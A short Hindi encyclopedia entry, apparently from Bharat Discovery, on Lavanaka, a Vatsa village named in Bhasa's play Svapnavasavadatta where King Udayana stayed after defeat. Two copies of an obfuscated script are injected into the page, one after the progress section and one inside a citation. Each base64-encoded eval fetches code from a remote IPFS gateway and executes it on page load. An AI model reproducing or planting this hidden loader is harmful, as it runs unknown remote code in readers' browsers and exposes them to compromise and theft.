लावाणक

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें

लावाणक नामक स्थान का उल्लेख संस्कृत के प्रसिद्ध नाटककार भास के 'स्वप्नवासवदत्ता' नाटक में हुआ है।[1]

  • इसे वत्स देश के अंतर्गत बताया गया है।
  • वत्स नरेश उदयन, आरुणि से पराजित होकर अपनी राजधानी कौशांबी को छोड़कर कुछ दिन तक लावाणक में रहा था।
  • इसका लावणनील नामक नगर से अभिज्ञन करना संभव जान पड़ता है।[2]


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

  1. वत्सभूमौ लावाणक नाम ग्रामस्तत्रो षितवानिस्म, अंक 1
  2. ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |संकलन: भारतकोश पुस्तकालय |पृष्ठ संख्या: 816 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

संबंधित लेख